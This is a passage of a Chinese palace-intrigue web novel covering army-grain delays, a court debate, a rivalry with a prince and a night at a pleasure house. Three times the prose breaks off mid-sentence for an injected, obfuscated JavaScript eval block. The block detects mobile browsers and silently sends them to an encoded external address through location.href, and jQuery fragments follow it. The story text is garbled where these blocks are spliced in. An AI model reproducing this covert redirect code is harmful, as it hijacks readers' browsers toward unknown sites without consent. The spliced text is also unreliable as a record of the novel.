他的眼角跳了一跳:“嗯,有所耳闻。” 杨柯心里一喜,继续道:“近日我在宫中处理文书时,察觉军粮拖延一事存有诸多蹊跷。依常理推算,按以往的运输路线和所需时日,军粮理应如期运抵前线。然而,近几次军粮运输皆出现严重延误。尤为怪异的是,延误缘由仅以 ‘道路受阻’、‘天气原因’ 等笼统之词标注,并无更多解释。此事关乎前线战事,兹事体大,我实在放心不下。向来听闻逍遥居神通广大,还望林兄能施以援手,帮忙调查一番。” “这些军粮可否漏运、少运?” 杨柯答道:“暂无。” “若无缺失,大抵是路途上的官员出了问题。”林骞一向随性,这次竟深挖起来,“诶,你一个女子入宫,怎会知道军粮的事情?” 杨柯愣了愣,扯了个幌子道:“我有个朋友,他家中便是负责运输军粮,前几日向我大吐苦水,我想着既然逍遥居神通广大,自然能帮我们这个小忙。” 林骞对她的恭维倒是很受用,只见他嘴角微翘,嗓音低沉,拖着长长的腔调:“如果我答应帮你,那你这回要怎么报答我呢?” 杨柯略一思索道:“既然是我有事相求,当然任由林兄提条件了。” “条件嘛,以后倒是好说。只不过……”林骞靠回椅子上,流畅的下巴微扬,手指随意地敲击着桌面,杨柯立于一旁静静等待,看他的目光飘忽不定,心里也悬了起来。 他沉默了许久后,终于才道:“我答应你。” 杨柯心中的石头终于放下,也微笑拱手:“多谢林兄。” 林骞昂首大笑:“没想到皇宫竟让你这野丫头也变得有节有礼。” 不知他是在嘲讽还是夸奖,杨柯茫然回笑:“林兄这话怎么听起来有些熟悉。”难道长相相似之人,心中所想也是一样? “还有谁说过么?”林骞坐起身,一手撑着头,嘴角含笑,“总之,每次求我帮忙时都是你最会做人的时候。” 话音刚落,芳芷在门口轻声道:“老大,有新动向。” 屋里的气氛瞬间紧绷了起来,杨柯转头看向林骞,他早已从椅子上站身。刚一出门,石介便走了过来,凑到林骞耳边低声说了点什么。 见他们神色严肃,杨柯也不便再多打扰,道谢告别后便启步离去。 离开逍遥居,杨柯又披上遁光衣,双脚一蹬,往皇宫的方向跑去。 披着月色回到宫中,繁星点点,清风拂面。杨柯走在宫道上,方才林骞的神情又浮现眼帘,看他的样子,仿佛对皇宫有所了解。正想着,忽望见咸毓宫的大门前远远立着一人,那宫灯下的长影,恍惚间又让她想起与林骞交手的那夜。 她甩头将脑中的回忆抛掉,凝神瞧着那人,果然是宇文泰。见他脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15272130|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色阴沉,杨柯心里一阵发毛:这霸王定是来报复自己的! 杨柯默默转身,准备溜之大吉。 “杨姑娘。”背后男声还是顽固地响起。 她轻叹了口气,僵硬地回头,宇文泰已走至跟前,杨柯朝他恭敬福身:“羲王殿下,真巧啊,怎么在这碰到了?天色也不早了,殿下不回宫歇息,是在等人吗?” 宇文泰的语气听不出什么情绪:“说得没错,我在等你。”月光照在他的肩上,一股龙涎香幽幽传来。闻着他身上的香气,巷道里的画面登时冲进了杨柯的脑海,她话锋一转:“殿下,我们是不是在哪见过?” 宇文泰陡然被她问住,不过随即便反应过来:“你少岔开话题。” 见他并不搭茬,杨柯又摆上一幅笑脸,拱手道:“既然您已经见到我了,那我就先告辞了。”正准备往回迈,却被宇文泰一把擒住。 他的眸子格外幽暗,声音却平静如水:“本王等了一柱香的时间,可不仅仅是为了见你一面。” “殿下还想跟我进去坐坐,再喝喝茶?”杨柯朝他干笑,“不过我那儿只有过夜的茶水。” 宇文泰安静了瞬,垂眸凝着她:“早上是你干的好事吧?” 杨柯眨巴着大眼睛,装作无辜:“不知殿下说的是哪件事?” “哦?是我弄错了?” 说着放开了她的手,遗憾道:“原来那地上的月牙玉环并非是你的。” 杨柯这才想起,手腕上剩下的半副月牙玉环,自从前几日去了尚书局回来便消失不见,翻遍了屋子都没找到,只有可能是处理蚕沙时不小心掉落进去的。 她急得脱口而出:“月牙玉环?在哪儿找到的,蚕沙里吗?”说完便意识到自己中了奸计,脸上的惧色冒了出来。 宇文泰的黑眸深了一层:“杨姑娘,你终于招了。” 俗话说虱多不痒、债多不愁,害怕到极点也没什么好惧的了,此时杨柯的脸上反而露出了得意的笑容,“是我做的又如何?”也学着他说话的语气,慢悠悠道:“给殿下换个香薰,殿下可还满意?” 他略一扬眉,隐约一笑:“杨姑娘绞尽脑汁、连夜布置,我自然满意。”一面说着,掌心反而使上了力气。 杨柯被他捏得浑身酥麻,两腿如柳枝乱颤:“既然满意……还掐我做甚?” 宇文泰垂睫欣赏着她的困窘,轻描淡写道:“有句话叫礼尚往来。” 杨柯虽已腿脚发软,但她并非白白受欺之辈,扯起嗓子就要大喊:“要不是你故意针对我,害我颜面扫地,我捉弄你一下怎么了?狗急了还能跳墙呢!” 宇文泰脸色一变,立刻捂住她的嘴:“你要让整个宫城的人都听见吗?” 她恨声道:“让他们听见又如何?光脚的不怕穿鞋的!宇文泰,今晚我们就来好好算算这笔账!” 宇文泰的眼眸闪过一道精光,邪笑道:“好啊,你夜半约我出来,到底是谁不安好心?” 杨柯气得咬牙跺脚:“你!你同章可馨果真是一族血脉,一样歹毒可恶!” 他的神色僵了一瞬:“可恶不可恶不知道,我只知道你也不是什么省油的灯。”接着脸上露出冷笑,“杨柯,你有什么花招尽管使出来,看看咱们谁能斗得过谁。” 杨柯双目圆瞪:“哼,你以为我会怕?宇文泰,你且等着,我要是向你屈服,我就自废武功!” 他嘴角笑意更深:“好个豪言壮语。不过,话可不能说太满。” 杨柯看着他眸中冷光,心尖微微一颤,只听他悠悠开口道:“我且备好上等金创药,等你亲手为我挑断手筋脚筋。杨姑娘,莫要食言呐。” 18.朝堂 回到凌薇苑,杨柯气鼓鼓地躺在榻上,盘算着以后如何该对付宇文泰。盘算来盘算去,只得出一个结论:每次碰见这人,准没好事。于是低声咒骂起宇文泰的祖宗十八代来,可还没骂到一半,便迷迷糊糊地睡去。 这一日,又要去尚书局执勤,杨柯才在凳子上坐下没多久,便被朱缨指派了个差事——运送文书,而目的地则是勤政殿——皇帝平日处理政务和会见官员的地方。 杨柯跟着公公的指引来到主殿,“陛下正在书房里同各位爷商讨政务呢,大人且稍后片刻。” “没事,我在这等着便是。”公公点头弓腰往后退了一截,也跟着她静静候着。 忽然肩上被人一拍,杨柯回头一看,“公孙大人!” “嘘!”公孙瑶将手指放在嘴边,又轻挥手指示意跟她进去。 “你来送什么?”公孙用极低的声音问道。 杨柯将手里的文书递给公孙,耳朵却捕捉到不远处的书房内漏出些许说话的声响。 见杨柯的视线被那边吸引,公孙解释道:“这几日前线战事坏消息不断,陛下此刻着急得很。” 杨柯想到自己在奏疏上的所见,“是因为军粮么?” “原来你知道。”公孙露出惊讶,下巴往书房的方向指了指,“要去听听吗?” 杨柯心里一喜,呆在此处不仅能暂时逃过尚书局的管辖,还能见到伯喻,自然冲着公孙忙不迭地点头。 公孙引她至毛毡旁,杨柯透过缝隙望去,皇帝正在御案前来回踱步,面前站着乌泱泱一排人,为首的便是宇文泰、宇文伯喻两位皇子,他们身旁立着的想来应是六部大臣了。 殿内烛火摇曳,映照得众人脸上越发阴晴不定。皇帝沉重的脚步一下一下地踏在琉璃瓦嵌花砖上,踩得人心底发慌。 “泰儿,前线屡屡失利,你怎么看?”话音落下,殿内益发敛息,宇文泰乃镇国将军章满之侄,不知母系势力落难,皇帝迁怒,他会如何应对。杨柯心里正好奇着,却见宇文泰拱手道:“父皇,前线战事失利,儿臣痛心自责。身为宇文氏和章氏血脉,未能为国解难,深感愧疚。” 杨柯低声嘀咕道:“哼,倒挺会说场面话。” 这时吏部站出一人道:“陛下,前线战事连连失利,臣深思熟虑后,认为其根源或许并非在于军粮短缺,而在于人选之失。” 皇帝听了他的话挑了挑眉:“人选之失?” 田咏的目光探了探宇文泰,“正是。章老将军让章擎执掌将印,此举恐怕不妥。虽说虎父无犬子,但章擎年轻气盛,缺乏经验,战略失误在所难免。” 皇帝面不改色:“你也知道将领对战局的重要,那我问你,你吏部的责任是什么?” 杨柯看这人长了一双大圆眼,顶上却是个八字眉,平白多了些奸滑之相,正为其惋惜着,却听公孙在一旁道:“这是吏部左侍郎田咏,他跟着宫询讨得了不少好处,两年连升三品,不知道的还以为他是宫家的私生子。” 杨柯听了不免发笑,又问道:“宫询是谁?” “吏部尚书,就是他了。” 公孙话音刚落,一个紫衣老头开口道:“吏部选贤举能,同意章擎的任用我们也有罪责。但是‘天高皇帝远’,要论西北的战况与军中将领的实力,难道身在京城的吏部比章满更了解?章满身为大将军,本应亲自督战,却将如此重任交给一个乳臭未干的小子,实乃失职之举。若不严惩,何以正军法,何以振军心?” 公孙又低声解释道:“宫询意在将责任完全推给章满和章擎,借此打压章家势力。” 宇文泰忽然插言:“父皇明鉴,儿臣有话不得不说。章将军戍守西北边疆,劳苦功高,屡立战功。再者,胜败乃兵家常事,仅因一场败仗就严惩,实在不妥。况且舅父和表哥在军中威望甚高,此时责罚,恐怕动摇军心,还望父皇三思。” 皇帝沉吟片刻,目光扫过众臣,“章满有功,朕是知晓的。但前线失利,军法难容。念及旧功,朕会从轻发落,妥善处理。” 田咏又道:“陛下圣明!但章将军责任重大,用人失当致前线大败,影响恶劣,不严惩难以服众、整肃军纪。还望陛下莫念私情旧功,务必严惩!” “田爱卿真是考虑周全。不过按照爱卿的道理,用人不当,责任重大,”皇帝凌厉目光直射向他,“那朕当初派遣章家父子驻守西北,是不是也算用人不当?” 田咏闻言,心中陡然一紧,大声哀求道:“臣不敢!” 此时,伯喻站了出来,朗声道:“父皇,儿臣有话要说。”这个节骨眼上,谁站出来都担着风险,杨柯的心不禁吊了起来。不过伯喻的身段儿着实好看,施起礼来也赏心悦目。只听他不疾不徐道:“宫、田二位大人提醒章家父子担责无可厚非,可战事之败并非一人一时之失。父皇选他们是看重其才忠,如今失利虽需反思,却不能归咎一人,更不可累及父皇。父皇登基后一心解决西北边患,百姓得以安居乐业近二十年。此等功绩,古来罕见。今西北战事连连失利,实属天意,非人力能敌。父皇已尽人事,不必自责。儿臣以为,章家父子需担责,也应给他们改进机会。” 此言一出,殿内的紧张气氛一扫而空。皇帝的脸上虽然并未见到喜色,但原本铁青的脸已是缓和了许多,“不错。那你认为应该如何应对?” 伯喻接道:“儿臣掌管户部,深知如今朔州战事胶着,关键在于军粮。近日因天气阻碍,军粮运输迟迟拖延,但儿臣以为,即使运输及时,前线士兵也未必能够吃饱。” 皇帝面色骤变,厉声道:“此言当真?”军粮断供之事乃兵家大忌,没有想到的是,现下的问题不仅是运输之难,还有更大的毛病亟待解决。 兵部尚书白韬忽而拱手而出,抢先奏道:“陛下,臣有一事不得不奏。上月滁州连发大水,农田受损严重,粮食大幅减产。而我朝向滁州订购之粮,不仅量少,而且价高。如此情形,对于军粮供应无疑是雪上加霜。” 皇帝停下了来回的脚步,“郑仪,你们户部怎么说?” 伯喻身侧的老头应声上前道:“陛下,兵部军粮难购一事我们已经知晓。” 白韬揶揄道:“知道了可不等于解决呀,要是户部不能及时拨款,前线士兵们还是没饭吃,这不伤了陛下爱民如子之心吗?” 郑仪硬着头皮道:“陛下,微臣有苦难言呐!近年来,国家开支浩繁,户部虽竭力筹措,但军粮乃常年花销,财力终归不支。”杨柯在逸韵诗会上见过郑仪,这人作诗挺有一套,不过听师父说办事不如作诗,也不知道怎么升至户部尚书这样的肥差上。 白韬又道:“前线战事未平,花销在所难免。照郑大人的意思来看,咱们大夏的仗也不要打了?” 皇帝的脸色因焦灼愤怒而愈发难看,双目怒睁道:“平日里个个能说会道,一碰到事就当起缩头乌龟,要不朕把你们九族全都送到前线种地去,也省得在这为难!” “陛下息怒!”众臣纷纷跪倒在地,屋内气氛重又紧张了起来。 宇文泰迅速反应道:“父皇,当下可从他处州郡紧急调配粮食以解燃眉之急。据儿臣所知,雍州、越州两地分别存有一万石余粮。不如即刻传旨,命人联系两地粮官,让他们火速将粮食运往前线。” “羲王殿下果真办事利索,咱们还没弄清楚军粮出了什么问题,便早早想到解决办法了。”易望林站了出来,声音不紧不慢,“陛下,扬汤止沸,不如釜底抽薪。此事积弊已久,非一朝一夕可以解决。臣以为,当下粮食短缺、运粮拖延皆为表象,只有建立完备制度才是解决问题的根本之道。臣建议,设立专门督粮官一职,负责统筹调度粮食事务。再者,兵部、户部有什么难言之隐,这次索性也一并全说出来。陛下一向圣明,洞悉朝堂诸事,定能保我朝民生安稳、边疆无忧。”他语速虽慢,但气势却笼盖四野,一时之间竟无人敢作声。 公孙不知是感叹还是讽刺,忽然评论道:“要论场面话,还是这位最擅长。” 杨柯试探问道:“易大人是两朝老臣,他很厉害吧?” 公孙冷冷道:“厉害是厉害,但他的厉害总是挑着时候来。” 杨柯还没弄明白她的话中之意,却听皇帝赞许道:“易先生所言极是。”他扫视群臣,最终落于户部尚书郑仪身上,“督粮官一职由户部牵头设立。户部掌管国家钱粮,对此事责无旁贷。” 郑仪正欲开口接应,宇文泰反先奏道:“前线战事紧张,兵部责无旁贷。此事兵部亦当承担重责,儿臣愿与户部共同设立督粮官,协同办理军粮事宜。” 郑仪欲驳回宇文泰的提议,又听伯喻抢先道:“二哥所言极是。户部虽掌钱粮,但前线战事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15277028|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞬息万变,兵部对前线需求更为熟悉。督粮官一职当由兵部任命,户部当协助兵部,确保军粮供应无虞。” 杨柯见郑仪两次开口皆被阻拦,疑惑道:“为何伯喻也要帮着兵部说话,若督粮官归到户部,他们岂不是更好办事?” “既然兵部主动揽下这活儿,户部顺水推舟,从旁协助就好。这么做既能减轻自身负担,又能避免被陛下问责,何乐而不为?” 皇帝颔首一笑:“既如此,朕便依了你们。督粮官由兵部设立主导,户部协助。泰儿,喻儿,你们要齐心协力,确保我大夏前线士兵的安危。” 二人齐声道:“是!” 会谈结束后,杨柯垫着脚、昂着头在一众蓝绿中搜寻着伯喻的身影,却一把被公孙瑶拎了回去,“你再往前够够,就要跪到陛下跟前儿去了。” 杨柯笑嘻嘻道:“我这不是关心朝政嘛。” 公孙点头道:“那你可发现方才有什么特别之处?” “好像问题皆由兵部提出,最后解决也落到兵部头上。” “不错,兵部借此牢牢把控了军粮。” “兵部不是本就掌管军粮运输?” “督粮官若落到他人手中,他们还能管吗?” 杨柯这才明白其中缘由,又转念一想,军粮向来是战事的重中之重,可军中如何能不断粮也是历朝历代皇帝最头疼的事情之一,“为何大夏打了那么久的仗,还有如此丰富的存粮?” 公孙一字一句道:“因为水利完备。”她见杨柯一脸疑惑,继续解释道,“大夏缘水而兴,境内渭河、踽河贯穿全境,治理好此二河,便是守护好国家的根基。要说到这个,还真亏了伯喻。”她话里煞有介事,“别看他年纪虽轻,但在朝中是个不容忽视的存在。” 听到公孙这般夸赞伯喻,杨柯心内窃喜,面上却故作疑惑之态,想探得更多细节:“如今宣王殿下不是才二十岁?” “是啊,当年他接手工部时刚满十五,虽有易大人鼎力举荐,但朝中老臣皆自持资历深厚,对其年少登此要职,心内多有不服。于是当朝便诘问其治国之要,伯喻只说了一句,‘但劝农业之兴,莫夺农时之要;且行轻赋之法,勿竭民众之财’。” “众人听了是什么反应?” “这般大道理,那帮老头子听得多了,权当虚言套话,再说了,要是真的轻徭薄赋,柔然的仗还怎么打?谁能料到,伯喻竟真的一一践行。” 杨柯的好奇心全然被勾了起来:“那他如何做到呀?” “兴修水利,提高粮产。彼时他提议在雍州修建江堰,朝中不少大臣公然反对,国库本就不充盈,哪还有巨额钱财拿去修堰?结果伯喻竟亲自前往雍州,向当地的富商豪绅晓以其利,竟然还募得了不少金银,这江堰才得以建起,短短几年,雍州的地价便因江堰翻了数倍。这一个地方吃到了甜头,其他地方也纷纷效仿,整个大夏的水利系统也才慢慢搭建起来。” “朝中其他大臣难道不知道这个办法?” “看起来简单,做起来难。三年前他主持修建雍州的江堰,陛下命我跟他对接,可是把人累坏了。” “为何?” “他这个人呐,做人倒是和和气气,但做事却严苛得不行,不仅定下了每年清淤的规章制度,甚至每把石标尺的尺寸都定得明明白白。下面的人哪里会注意这个,刚开始建的时候,饶是审批的文书都来来回回倒腾了十几次,就因为差了几毫厘。” 杨柯心中一边感叹伯喻治国之才,一边为他感到欣喜自豪,视线一偏,才发现公孙正饶有意味地斜睨着自己:“看来阿柯是被伯喻的才华倾倒了。” 她脸色一红,忙找补道:“宣王殿下如此才华横溢,不止是女子,只要是大夏子民皆感恩戴德吧。” 公孙心下了然,而后笑道:“那倒是。” 杨柯忙转移了话题:“还有件事想请教请教大人,这几次的运粮皆遇到拖延的问题,但是书册上记录的缘由都交代得含糊不清,不知是何故?” 公孙皱眉道:“不应该啊,羲王向来办事清楚明白,怎会容忍下面的人出现这样的问题?” 杨柯笑道:“大人先别急着犯难,我已经拜托了江湖上的朋友帮我打探消息。” 她眼睛一亮:“哦?” “到时候就等着我的好消息吧。” 19.饕餮 太阳刚落山,林骞的消息便送进来了。杨柯兴冲冲地打开来看:“军粮迟滞,缘为粮道数关卡骤添繁缛手续,至于手续突增之故,涉多方利益,盘根错节,一时难明,小柯勿忧,静待佳音便好。” 将将读完,杨柯的眉头瞬间拧成了个疙瘩,在屋内来回踱步,脚下的青砖被踩得 “哒哒” 作响。她心里一点儿也不痛快,这逍遥居向来神通广大,此番耗费人力物力去查,怎就只得了这般浮于表面的消息?莫非背后隐匿着更深的隐情?林骞有意隐瞒,亦或是他也被蒙在鼓里?正想着,乐白的声音闯了进来,“阿柯,你在想什么呢?” 杨柯心里“咯噔”一下,面上却不动声色,脑子飞速一转,随口扯了个幌子:“嗐,还不是尚书局那些事儿,天天忙得脚不沾地,活儿干不完不说,人都快憋闷死了。” 乐白嫣然一笑:“你不是能出宫吗,这等烦恼还不好解决?” 杨柯心尖一抖,暗叫不好,赶忙拉近她道:“小白,你可千万别把此事透露出去,不然我和云昌吉就全完了。” 乐白的眼里暗了暗,旋即又亮起:“若要我保守秘密,那你也带我出去玩一回!” 杨柯和乐白乔装成男子模样,走在大街上。乐白兴奋地东张西望,一会儿到这个铺子看看糖人,一会儿到那个店里闻闻胭脂,两人走完一条街,?愣是花了整整一个时辰。终于到了紫英阁,门口的铨儿见了杨柯,立刻欢颜迎接:“哟,杨公子,”瞧见她身边的乐白,更是眼睛一亮:“这位公子是第一次来吧,瞧着面生。” 杨柯介绍道:“乐公子此番自越州远道而来,专程到京城公干。听闻紫英阁声名远扬,特地要我带着他过来瞧瞧。” 铨儿脸上笑容灿烂:“多谢二位公子抬举!乐公子莅临,我们紫英阁是蓬荜生辉,今晚上定不会让二位爷失望。” 杨柯听他这嘴皮子愈发伶俐,回想起仅仅才过去短短几十天,心中不禁暗叹,红娘调教人的本事当真厉害。 乐白眨着亮晶晶的眼睛,冲着铨儿问道:“你们最好喝的酒是什么?” 铨儿接道:“乐公子好品味,要说起我们紫英阁,除了美人之外,就是美酒最闻名了。桃花酿、乔家白,您想喝什么咱们这儿都有!” “杨公子,您今儿可算来了!都盼您好久啦!”元英的唇上新抹了口脂,如同春露一般娇艳欲滴。 “近日公务缠身,脚不沾地,这不刚一得空,便马不停蹄赶来了。” 乐白瞅了杨柯一眼,旋即捂嘴偷笑起来。 元英注意到她身旁的乐白,腰肢一旋,飘到她跟前,“这公子好生俊俏,今日是头回来吧。” 乐白朝她笑着点头。元英打量着她,虽然嘴上笑着,但眼底已没了笑意。杨柯担心元英看出点什么名堂,忙问道:“红娘在哪?芮伊还在吗?” 元英嗔怒着推了她一把:“好你个负心汉,每回过来都只问红娘,如今有了芮伊,把我元英彻底忘了。” 杨柯忙堆笑:“好姐姐,今日特地带了朋友来,自然盼着能享一场盛情款待。我寻思着,不如劳烦红娘,为乐公子细致介绍一番紫英阁的珍馐美酿,若再有芮伊姐姐的舞曲助兴,岂不是锦上添花?” 元英没好气道:“妈妈在楼上呢,等会儿就来。” 杨柯奔向二楼,红娘正站在几名乐姬跟前,一边戳着她们的额头,一边厉声道:“这么重要的曲子,竟然还会弹错?我真是白养你们了!” 一名乐姬反驳道:“妈妈,那是霓裳羽衣曲,我们都不曾见过真曲,哪里会弹?” 红娘反倒更怒:“不会弹?不会弹你不会学吗?哪来的借口?!” 几名乐姬的脸颊羞红,泫然欲泣。 “没几日便要演出了,若你们再学不会,全都赶出去讨饭吃!” “红娘。”红娘听见杨柯的声音,怒气瞬间收起,回身展颜一笑:“哟,杨公子来了!”一面摆手屏退乐姬。 杨柯目光追随着她们远去的背影,轻声感慨道:“方才进门时那铨儿照顾的十分周到,我当时便想红娘果真是教人有方,正纳闷着到底是什么妙法,这不,转眼就瞧出端倪来了。” 红娘嘴角含笑,轻轻推了杨柯一把,嗔怪道:“你还真是谦虚,同我学什么,紫英阁不过是个小地方,哪能劳动你这等贵人费神。这些琐碎事儿,交给我打理便是。” 杨柯试探问道:“那些乐姬犯了什么错?” 红娘翻了个白眼:“一首霓裳羽衣曲学了不下百遍,到现在还弹不会,我看她们往日里学的那些曲子全都被狗吃了!” 杨柯安慰道:“这首不会还可以换别的,何必死磕。” 她蓦地直起身子来:“杨公子,这种玩笑可开不得,霓裳羽衣曲若不能推广,那紫英阁未来便要叫玉仙楼超了去。”说着长叹一口气,“如今啊,生意是越来越不好做了,京城的酒楼里也就我们和玉仙楼还苟延残喘着。这世道呀,反而是发国难财来得好。” 杨柯头一回见她如此垂眉丧气,不禁问道:“为何这么说?” “越州来了个粮商,真真是有钱得狠。每回来紫英阁啊,要不就是包下整层雅间,摆上珍馐美馔宴请宾客,要不就是点上所有头牌,让她们一整夜一整夜地唱曲儿,就为了博自己一笑。你说说,我能看着不眼馋?” 杨柯听到粮商,心下猛地一紧,表面上却神色如常:“紫英阁有这么豪气的客人,还愁没钱赚?” 红娘一听,摆摆手:“哪里够?我这开销大,又要养着这么多姑娘,还有各方的打点,来一两个豪客,不过是杯水车薪罢了。” 杨柯目光微闪,继续追问:“这人来京城做什么?” 红娘警觉地左右张望,见周遭无人,才压低声音道:“他呀,包办了军粮。” 杨柯顺势道:“包办军粮?这么大的生意,想必有些手段。最近军粮运输似乎出了些状况,我正愁没线索。红娘,你这儿三教九流的消息灵通,不如帮我打听打听此人?” 她的脸肉眼可见地垮了下来,低声苦道:“杨公子,调查芮伊倒是可以,但这事可没那么好办了。” 杨柯奇道:“这人什么来头?” 红娘抚了抚额:“江老板虽出手阔绰,可背景深着呢。每次在紫英阁向来只留个假名,打听多了,我怕惹祸上身,实在不好帮你这个忙。” 杨柯闻言拍了拍她的肩膀:“红娘莫急,不过是查查他的行踪,哪里会触怒到江老板。” 她意味深长地道:“办倒是能办,不过我在越州人脉有限,若要把他查个底朝天,怕是得费些时日,也得多花些银钱打通关节。” 杨柯自然明白她话中之意,从袖中掏出一袋银子,递到她手里:“红娘一向说话算话,在下就拜托姐姐了。” 搞定了此事,杨柯一身轻松,施施然地走回枕流轩,准备和乐白一块儿逍遥。 一走进厢房,她被眼前的景象惊得钉在原地:各类菜肴层层堆叠、满满当当,从点心到羹汤,再到大鱼大肉,密密麻麻摆满各个角落,数量多得数都数不过来,粗略一看,怕是有上百道都不止,简直比满汉全席还要满汉全席。这下子红娘倒是不用愁没钱赚了。不过更离谱的是,美食当中还塞进了三个醉美人。醉美人的衣服快要褪到腰上,巨大的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15289168|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胸脯从衣裳里跳了出来,白花花的一片直晃的人犯晕。而当事人乐白正歪坐在椅子上,两眼迷离,双手高高举起酒壶,仰着头往嘴里猛灌,嘴里不知道在嘟囔着什么,腮帮子随着说话的节奏一鼓一鼓,活像个母猴子。 杨柯赶紧大步上前,跨过横在中间的玉体,夺下了乐白手中的酒。 “你疯了,乐白?为何要点这么多菜,我们根本吃不下啊。”杨柯又指着横躺着的三人,“她们是怎么回事?” 乐白醉醺醺地回道:“云昌吉吃过的东西,我都要吃一遍。” 杨柯一个头两个大,怎么把这个醉鬼带回宫又成了新的麻烦。 正犯着愁,忽听见门外一道娇滴滴的女声:“云公子,今晚芮伊唱的曲儿可还顺您心意?” 云公子?云昌吉?杨柯下意识循声望去,虽然帘后之人身影朦胧,但隔着门帘她也能认出来那人必定是云昌吉。 她将乐白扶向一侧,赶紧喊道:“云昌吉!”对方循声转头,一脸震惊地看向她,几步飞来,开口便是“你也跑出来了?” “我也想问你同样的问题。”杨柯抓起他的手臂,把他拉进了屋里。 不出所料,云昌吉的视线刚一触及眼前的春宫图,便像是被施了定身咒,整个人僵在原地,嘴巴张大得足以塞下一个鸡蛋。 杨柯冲他点头:“你没有看错。” “乐白……她……”云昌吉已经语无伦次,呆滞的眼中竟然还带有一丝哀伤。 杨柯本以为他夸张的反应只是因为眼前这一幕太过香艳,忽然又想到平时这呆子虽然看着愣愣的,但一旦开悟便会走向另一个极端,指不定搞错了这房内四人的真正关系,忙解释道:“你别多想,这三个姐姐是我叫来的。” 云昌吉缓缓地回头,眼睛里已不见忧伤,反而是意料之中的了然和一副我懂你的神秘微笑。 杨柯无语,懒得同他再解释。“好了,你把郡主带回去吧。” 云昌吉笑着点头,麻利地将乐白从满地的美色中背了出来,途中经过杨柯时拍了拍她的肩膀,好像在说:“好好享福吧。” 杨柯没理他,目送他将醉倒的乐白抬上了回宫的轿子。 过了一炷香的功夫,醉倒的乐白终于睁开双眼,在轿子里旋视了一圈,迷蒙地问道:“阿柯在哪儿?” 云昌吉见她醒来,柔声道:“她还在紫英阁,先让我们一齐回去。” 乐白听言点头,突然又想起了什么,皱着眉头,生气地别过脸去。 昌吉被她的反应搞得云里雾里,挠了挠头:“乐白,你是不是肚子疼?”说完,便拿起边上的醒酒汤递了过去。 乐白微侧过头,看了他一眼,犹豫了一瞬,还是接过碗喝了下去。喝完她淡淡问道:“昌吉,你知道爱情是什么感觉吗?” 云昌吉看她粉颊犹自带着酡红,心里涌起一阵怜惜,心尖也跟着轻轻发颤。呆了几秒,回过神来,忽然朝她的脸亲了上去。 乐白也被亲得呆住,反应过来后大叫道:“我问你什么是爱情,又没让你亲我啊!”作势就要朝云昌吉身上打过去,他反应倒是快,赶紧回身躲避,但又故意稍微放慢了速度,让乐白的手实实地落到身上,自己却一声不吭。 乐白见他安安静静地承受着,心又软了下去,方才握着的拳头变成了绵绵手掌,轻抚着云昌吉的背,低声问道:“疼不疼啊?” 昌吉摇了摇头,回头望着她:“不疼,乐白打的都不疼。” 乐白听了,心里的气瞬间消失,方才泛着火气的眸子又化成了潋滟秋波。她举起粉拳,一脸坏笑道:“那我再多打你几下咯!” 20.意外 送走了乐白和昌吉,杨柯径直回到厢房,掰了掰躺在地上的三名乐妓,好不容易腾出一块空地,一屁股坐了下去。她四顾一眼,桌上方才乐白点的酒才喝了三盅,还剩下十壶,这下岂不是喝个够?她随手拿起一壶便往嘴里灌,一阵眩晕冲进天灵盖,杨柯满意地闭上了眼睛,这么多天,终于能够彻底放松下来了。她的脑海里忍不住又开始浮现伯喻的样子。她虽然从小和云昌吉厮混在一起,性情并不似闺中女子那般柔情细腻,但伯喻却是第一个让她如此牵挂的男子。自从七夕那晚开始,她的心思就仿佛西洋钟表上那根长长的指针,只知道傻傻地围着他这根时针一圈圈地打转。 她端凝着手里的酒杯,脑子里浑浑沌沌地想,自己到底喜欢他什么呢?掏心窝子来说,她对他并非一见钟情,既然不是一见钟情,那就不是全当为色。因此,一半为人,一半为色。但杨柯觉得,无论是人还是色,伯喻皆当得起头筹。念及此,心里不由得美滋滋,于是又往嘴里灌了口酒。 忽然房外传来一阵喧闹,她在晕眩中努力支起身子,撑在门口向闹事处望去。几个男子围在芮伊的房前吵吵嚷嚷,红娘在一旁手舞足蹈,拦着他们不让进门去。 杨柯摇摇晃晃地走过去,她一把将身前的男子推开,那人一张马脸霎时皱起,扯过她的衣领,大声吼道:“你是哪里的小子?竟敢推老子?” 杨柯酒壮怂人胆,直视着他道:“我是当朝宣王爷,你是哪儿来的杂碎?” 